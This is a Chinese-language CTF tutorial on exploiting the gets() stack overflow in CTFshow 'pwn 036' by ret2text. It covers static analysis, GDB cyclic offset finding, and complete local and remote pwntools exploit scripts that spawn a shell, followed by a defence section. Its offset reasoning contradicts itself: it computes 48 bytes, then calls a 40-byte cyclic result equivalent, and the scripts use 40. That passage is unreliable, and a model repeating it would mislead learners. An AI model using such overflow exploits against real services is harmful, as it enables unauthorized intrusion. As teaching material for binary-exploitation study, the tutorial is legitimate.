CTF Pwn入门:栈溢出漏洞原理与Ret2Text利用实战 1. 项目概述从一道CTF题看栈溢出的经典利用最近在带新人入门二进制安全发现很多朋友对栈溢出这个核心概念的理解还停留在“覆盖返回地址”这个层面知道要覆盖但具体怎么找、怎么算、怎么用一到实战就懵。正好手头有一道CTFshow平台上的经典入门题“pwn 036”它完美地诠释了栈溢出中最基础、也最经典的利用方式——Ret2Text。这道题没有复杂的保护机制没有绕来绕去的逻辑就是让你纯粹地理解“溢出”和“控制流劫持”到底是怎么一回事。如果你刚接触pwn或者对栈溢出原理还一知半解跟着我一步步拆解这道题绝对比你啃十篇理论文章都管用。简单来说这道题的场景是给你一个存在栈溢出漏洞的二进制程序你的目标就是利用这个漏洞让程序不执行它原本的逻辑而是跳转到程序内部一个现成的、能给你shell的“后门函数”也就是system(/bin/sh)去执行。这种攻击手法就叫“Ret2Text”Return to Text意思是“返回到代码段”因为我们要跳转的地址就在程序本身的代码段.text段里。整个过程就像是你发现房子的门锁坏了缓冲区溢出然后你不仅溜了进去还找到了房主藏在书房抽屉里的备用钥匙后门函数直接用钥匙打开了保险箱拿到shell。接下来我就带你当一回“开锁匠”看看这钥匙到底怎么找、怎么用。2. 解题环境与工具准备打造你的Pwn分析工作台工欲善其事必先利其器。做Pwn题一个顺手的环境和一套靠谱的工具链能让你事半功倍。很多人卡在第一步环境配置上其实没那么复杂。2.1 核心工具链选择与配置我个人的工作流主要基于Linux推荐使用Ubuntu 20.04/22.04 LTS或者直接用现成的渗透测试发行版如Kali Linux。工具方面以下几样是必需品调试器GDB Peda/Pwndbg/GEFGDB是GNU调试器是分析二进制程序的基石。但原生GDB对二进制安全分析不太友好所以一定要装增强插件。Peda、Pwndbg、GEF是三巨头。我强烈推荐Pwndbg。它界面更现代对堆栈、内存的显示非常直观集成了很多pwn专用命令比如cyclic生成定位字符串search搜索字符串/汇编指令对新手尤其友好。安装也简单通常一条git clone加上环境变量配置就能搞定。反汇编与静态分析IDA Pro / Ghidra / Binary NinjaIDA Pro是业界标准功能强大但它是商业软件。对于学习和CTFGhidra是完全免费且功能强大的绝佳替代品。它由NSA开源反编译能力非常出色能直接将汇编代码转换成可读性更高的C伪代码对于快速理解程序逻辑至关重要。Binary Ninja则是后起之秀API友好适合自动化。在这道题里我们用Ghidra就足够了。它的图形化界面和反编译窗口能让你快速找到main函数、后门函数和溢出点。动态交互与利用脚本编写PwntoolsPwntools是Python库是编写漏洞利用脚本Exploit的瑞士军刀。它能帮你处理进程交互发送数据、接收输出、打包地址p32,p64、生成shellcode等几乎所有脏活累活。通过pip install pwntools即可安装。写exp时导入from pwn import *你的攻击脚本就拥有了强大的内力。2.2 题目文件获取与初步检查拿到题目通常是一个名为pwn、challenge或带有题目名的可执行文件有时还会附带一个libc.so.x的库文件。第一步不是直接运行而是先“望闻问切”。# 查看文件类型和基础信息 file pwn # 示例输出pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., not stripped # 关键信息64位程序动态链接没有去除符号not stripped这意味着函数名可能还在分析更方便。 # 检查程序开启了哪些安全保护机制 checksec pwn # 示例输出 # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000)对于pwn 036这道题checksec的结果很可能显示Stack: No canary found栈上没有“金丝雀”Canary保护。这是我们能进行栈溢出的前提如果有Canary在覆盖返回地址前会先破坏这个随机值导致程序崩溃常规溢出就失效了。NX: NX enabled数据执行保护Non-eXecutable已开启。这意味着栈上的数据比如我们输入的shellcode不能被当作代码执行。但这道题是Ret2Text我们跳转到程序自身的代码段去执行不依赖在栈上执行代码所以NX开启对我们没影响。PIE: No PIE位置无关可执行文件Position-Independent Executable未开启。这是Ret2Text能成功的关键因为PIE关闭所以程序每次加载到内存时代码段.text的基地址是固定的比如0x400000。我们可以在静态分析时直接确定后门函数的绝对地址例如0x400123并且在程序运行时这个地址不会变。如果PIE开启代码段基地址会随机化我们就无法在攻击前知道后门函数的具体地址了。注意在开始真正的漏洞利用前花几分钟做这些检查是绝对值得的。它直接决定了你攻击的大方向。比如看到有Canary你就要考虑泄露Canary或者绕过它看到PIE开启就要想办法泄露地址来计算基址。这道题“三无”无Canary无PIENX不影响是标准的“新手快乐题”让我们可以专注于理解溢出本身。3. 静态分析用Ghidra透视程序逻辑与漏洞点静态分析就是在程序不运行的情况下通过反汇编和反编译工具来理解它的代码逻辑和数据结构。这是寻找漏洞的“侦察阶段”。3.1 加载程序与定位关键函数用Ghidra打开题目文件。分析完成后首先在“Symbol Tree”窗口里找main函数和看起来像后门的函数名。后门函数的名字可能很直白比如backdoor、shell、win、get_flag也可能故意起个迷惑性的名字。双击main函数Ghidra会在反编译窗口显示其C伪代码。假设我们看到的main函数伪代码如下undefined8 main(void) { char local_28 [32]; puts(Welcome to CTFshow pwn 036!); printf(Input your data: ); gets(local_28); puts(Bye!); return 0; }漏洞点一目了然gets(local_28)。gets()是一个危险函数它从标准输入读取数据直到遇到换行符或EOF但它不检查目标缓冲区的大小。这里local_28是一个在栈上分配的、长度为32字节的字符数组。一旦我们输入超过32个字符多出来的数据就会覆盖栈上local_28之后的内存区域。3.2 分析栈布局与计算偏移量要精确覆盖返回地址我们必须知道从我们输入的缓冲区起始位置到保存的返回地址之间有多少个字节。这就是“偏移量”Offset。在Ghidra的反编译视图里我们看到变量local_28。这个命名是Ghidra根据变量相对于栈帧基地址通常是RBP的偏移自动生成的。local_28中的“28”是十六进制代表偏移量-0x28十进制-40。也就是说这个缓冲区的起始地址在RBP - 0x28的位置。在x86-64架构下调用函数时返回地址Saved Return Address保存在栈上位于RBP 8的位置在旧RBP值之后。那么从缓冲区开始(RBP - 0x28)到返回地址(RBP 8)的偏移量计算如下偏移量 (RBP 8) - (RBP - 0x28) 0x8 - (-0x28) 0x8 0x28 0x300x30是十六进制转换成十进制是48。结论我们需要先填充48个字节的垃圾数据比如‘A’之后输入的4个字节32位程序或8个字节64位程序就会覆盖到返回地址。因为这是64位程序所以覆盖返回地址需要8个字节。实操心得Ghidra的变量名如local_xx是计算偏移的快速参考但最可靠的方法还是结合动态调试确认。另外注意gets()会在输入的字符串末尾自动添加一个\x00空字符作为终止符这个\x00也会占用一个字节的缓冲区空间在计算时需要考虑进去吗在这个例子中gets()的写入是从我们提供的字符串开头开始\x00是追加在末尾。我们的目标是覆盖\x00之后的内容返回地址所以这个终止符本身不影响我们覆盖返回地址所需的填充长度它只是覆盖内容的一部分。但如果你是用read、fread等函数情况可能不同。3.3 寻找“后门”函数接下来我们在Ghidra的Symbol Tree里或者通过搜索字符串如/bin/sh来寻找后门函数。假设我们找到一个名为backdoor的函数查看其反编译代码void backdoor(void) { system(/bin/sh); return; }完美这就是我们想要跳转的目标。在Ghidra的汇编视图或符号列表中我们可以找到这个函数的地址。假设显示地址是0x400123。注意事项有时候后门函数可能不直接调用system(/bin/sh)而是调用某个封装了此功能的函数或者参数需要稍作构造。一定要仔细看反编译代码确认其功能。另外记住这个地址0x400123它是我们攻击载荷Payload的核心。4. 动态调试用GDBPwndbg验证与精确定位静态分析给了我们理论上的偏移量和目标地址动态调试则是我们的“实弹演习”用于验证理论并处理一些静态分析中不明显的细节。4.1 使用cyclic模式定位精确偏移虽然我们通过计算得到了48字节的偏移但在实际漏洞利用中栈布局可能因为编译器优化、对齐等因素有细微差别。使用cyclic循环模式字符串可以消除这种不确定性。首先用Pwntools生成一个长的不重复模式字符串from pwn import * cyclic(200) # 输出类似aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab然后在GDB中运行程序并在gets函数调用之后或main函数返回前设下断点。当程序提示输入时将上面生成的200个字符粘贴进去。程序很可能会崩溃。此时查看崩溃时RIP指令指针寄存器的值。在Pwndbg中崩溃信息会显示RIP的值比如0x6161616161616166‘faaaaaaa’的ASCII码。这个值是我们输入的cyclic字符串的一部分。接着使用cyclic -l 0x6161616161616166或cyclic -l faaaaaaa来查询这个值在cyclic字符串中的偏移位置。$ cyclic -l 0x6161616161616166 # 输出可能是 40这里cyclic -l找到的偏移是从cyclic字符串开始到覆盖RIP的那部分模式开始处的长度。注意在64位系统中RIP被8个字节覆盖。这个偏移量比如40意味着我们需要填充40个字节接下来的8个字节就会控制RIP。为什么和我们计算的48不一样这是因为cyclic计算的偏移是到覆盖RIP的起始位置。而我们之前计算的48字节是到返回地址存储位置起始处的偏移。两者是等价的。因为覆盖RIP的8个字节其起始位置就是返回地址的存储位置。所以用cyclic找到的偏移比如40可能因为栈对齐等原因与静态计算48有出入。以动态调试找到的偏移为准在这个假设的例子中我们后续的payload构造就应该使用40字节的填充。4.2 验证后门函数地址在GDB中我们也可以直接打印后门函数的地址来确认(gdb) print backdoor $1 {void (void)} 0x400123 backdoor确保这个地址和Ghidra中看到的一致。如果程序是静态链接或者 stripped去符号可能找不到符号就需要用Ghidra找到的地址或者在GDB中通过disas反汇编一段已知地址的代码来推算。踩坑记录有一次做题静态分析找到的后门地址是0x4005xx但动态调试时发现程序基址变了导致跳转失败。最后发现是因为我本地运行的环境和题目提供的ld.so动态链接器版本不一致导致加载偏移有细微差别。教训在打远程题目时一定要用题目提供的libc和ld或者使用pwnlib的ELF类自动处理地址。对于本地调试尽量使用./ld.so ./pwn这样的方式指定链接器。5. 利用脚本编写组装最终的攻击载荷经过静态分析和动态调试我们掌握了所有必要信息精确的偏移量假设动态验证为40字节、后门函数地址0x400123。现在用Pwntools编写最终的Exploit脚本。5.1 基础Payload构造Ret2Text的Payload结构非常简单[填充垃圾数据长度等于偏移量] [后门函数地址]对于64位程序地址是8字节。我们需要考虑字节序Endianness。x86和x86-64架构使用小端序Little Endian即低位字节在前。所以地址0x400123在内存中应表示为字节序列\x23\x01\x40\x00\x00\x00\x00\x0064位8字节高位补零。Pwntools的p64()函数会自动帮我们完成这个转换。一个基础的本地利用脚本如下#!/usr/bin/env python3 from pwn import * # 设置上下文例如架构、日志级别 context(archamd64, oslinux, log_leveldebug) # 启动本地进程 p process(./pwn) # 构造payload offset 40 backdoor_addr 0x400123 payload bA * offset # 填充40个A payload p64(backdoor_addr) # 小端序打包后门地址 # 发送payload p.sendline(payload) # 将交互权交给用户拿到shell后可以手动输入命令 p.interactive()5.2 处理输入与输出缓冲有些程序可能使用printf、puts后立刻调用gets或read输出缓冲区可能没有及时刷新导致我们的输入和程序输出混在一起。一个稳健的做法是在发送payload前先接收程序打印的提示信息# 接收直到提示输入字符串 p.recvuntil(bInput your data: ) # 然后再发送payload p.sendline(payload)5.3 远程利用脚本如果题目需要连接远程服务器脚本只需稍作修改#!/usr/bin/env python3 from pwn import * context(archamd64, oslinux, log_levelinfo) # 远程可以调高log_level # 连接远程服务器 host pwn.challenge.ctf.show port 12345 p remote(host, port) offset 40 backdoor_addr 0x400123 payload bA * offset payload p64(backdoor_addr) p.recvuntil(bInput your data: ) p.sendline(payload) # 如果成功会得到一个shell可以尝试读取flag p.sendline(bcat flag.txt) # 常见的获取flag命令 flag p.recvline() print(fFlag: {flag.decode()}) p.close()重要技巧在构造payload时有时后门函数地址本身可能包含坏字符Bad Characters比如\x00空字节、\x0a换行、\x0d回车等。这些字符可能会被某些输入函数如scanf、strcpy截断导致payload不完整。gets()遇到换行符\x0a会停止读取但地址中的\x0a可能在我们发送的payload中间这会导致gets()提前终止。幸运的是我们例子中的地址0x400123不含坏字符。如果地址包含坏字符可能需要寻找替代的指令片段如jmp backdoor1或使用ROP链来绕过。6. 漏洞原理深度剖析理解栈帧与控制流劫持知其然更要知其所以然。Ret2Text之所以能成功根植于程序运行时栈的结构和函数调用约定。6.1 函数调用时栈的变化当一个函数如main被调用时会发生以下几步参数传递x86-64下前6个整型或指针参数通过寄存器RDI, RSI, RDX, RCX, R8, R9传递。更多参数通过栈传递。调用指令call指令做两件事a) 将下一条指令的地址返回地址压入栈中b) 跳转到被调用函数的起始地址。被调函数序言push rbp ; 保存调用者的RBP mov rbp, rsp ; 设置新的栈帧基址 sub rsp, 0x30 ; 在栈上为局部变量分配空间此时栈布局从高地址到低地址大致如下... (更高地址) 调用者的栈帧... ----------------- --- 调用前的RSP 参数n (如果有) ... 参数7 (如果有) 返回地址 --- call指令压入 旧的RBP值 --- push rbp压入 ----------------- --- 新的RBP (当前函数的栈帧开始) 局部变量区 --- 例如 local_28 在这里 ... ----------------- --- 新的RSP (当前栈顶)函数执行使用RBP - offset来访问局部变量和参数。被调函数尾声leave ; 相当于 mov rsp, rbp; pop rbp ret ; 相当于 pop ripleave指令恢复RSP和RBP。ret指令从栈顶弹出数据到RIP从而跳转到返回地址执行。6.2 溢出如何发生在我们的例子中local_28位于RBP - 0x28处。gets(local_28)向这个位置写入数据但它不检查长度。如果我们写入超过32字节的数据前32字节填满local_28。第33-40字节会覆盖RBP - 0x28之后、RBP之前的内容可能是其他局部变量或对齐填充。第41-48字节会覆盖保存在栈上的旧的RBP值。第49-56字节就会覆盖返回地址当函数执行到ret时它会从当前RSP指向的位置“弹出”数据到RIP。如果返回地址被我们覆盖成了后门函数的地址0x400123那么ret指令执行后RIP就变成了0x400123CPU接下来就会去执行backdoor函数里的system(/bin/sh)从而给我们一个shell。6.3 Ret2Text的局限性Ret2Text是最简单的控制流劫持但它依赖几个关键条件存在栈溢出漏洞允许覆盖返回地址。没有栈保护Canary否则会触发栈破坏检测。PIE未开启或者已知目标函数地址。如果PIE开启需要先信息泄露。目标函数在程序中存在并且其功能符合攻击者意图如获取shell。如果程序中没有现成的后门函数我们就需要更复杂的技巧比如Ret2Libc返回到libc库函数或ROP面向返回编程来组合现有的代码片段gadgets达成目的。7. 拓展与防御从攻击到防护的思考通过这道题我们完成了完整的攻击链。但作为学习者我们不应该只停留在攻击层面更要理解如何防御此类漏洞。7.1 漏洞挖掘视角的拓展在实际的漏洞挖掘中不会所有函数都像gets这么明显。我们需要关注哪些函数是危险的字符串操作strcpy,strcat,sprintf,vsprintf(不使用长度限制版本)。输入函数gets,scanf,fscanf(使用%s且未指定宽度)。内存操作memcpy,memmove,read,recv(如果长度参数可控且大于目标缓冲区)。静态分析工具如Ghidra的CodeBrowser和动态模糊测试Fuzzing可以帮助我们发现这些潜在的溢出点。7.2 现代安全防护机制现代编译器和操作系统引入了多种机制来增加漏洞利用的难度栈金丝雀Stack Canary在栈上返回地址之前插入一个随机值。函数返回前检查该值是否被改变若改变则终止程序。绕过方法通常需要信息泄露来获取Canary值。数据执行保护NX/DEP使栈、堆等数据区域不可执行。这阻止了直接在栈上执行shellcode。Ret2Text、ROP、Ret2Libc都是绕过NX的常用方法因为它们执行的是已有代码段的指令。地址空间布局随机化ASLR/PIE随机化栈、堆、库和可执行文件基址。这使得攻击者难以预测目标地址。绕过需要先通过信息泄露获取某个已知地址然后计算出基址偏移。控制流完整性CFI更高级的防护限制程序控制流转移只能在预定的有效目标范围内。7.3 安全开发建议对于开发者而言避免此类漏洞的根本方法是使用安全的编程实践永远使用带长度检查的函数用fgets代替gets用snprintf代替sprintf用strncpy代替strcpy并注意strncpy不会自动添加终止符的问题。进行边界检查对所有来自外部的输入进行严格的长度和内容检查。使用现代安全特性在编译时开启所有安全选项如-fstack-protector-all栈保护、-D_FORTIFY_SOURCE2强化安全函数、-Wformat-security等。代码审计与模糊测试定期进行代码安全审计并对输入接口进行模糊测试。回过头看pwn 036这道题它像是一个解剖标本剥离了所有现代防护让我们能最清晰地看到栈溢出漏洞的骨骼和肌肉。理解它是你迈向更复杂二进制漏洞利用世界的坚实第一步。下次当你遇到开启了Canary、PIE、RELRO全保护的题目时你就能明白攻击的艺术正是在与这些防护机制的博弈中不断演进的。而这一切都始于对栈上那几十个字节的精确掌控。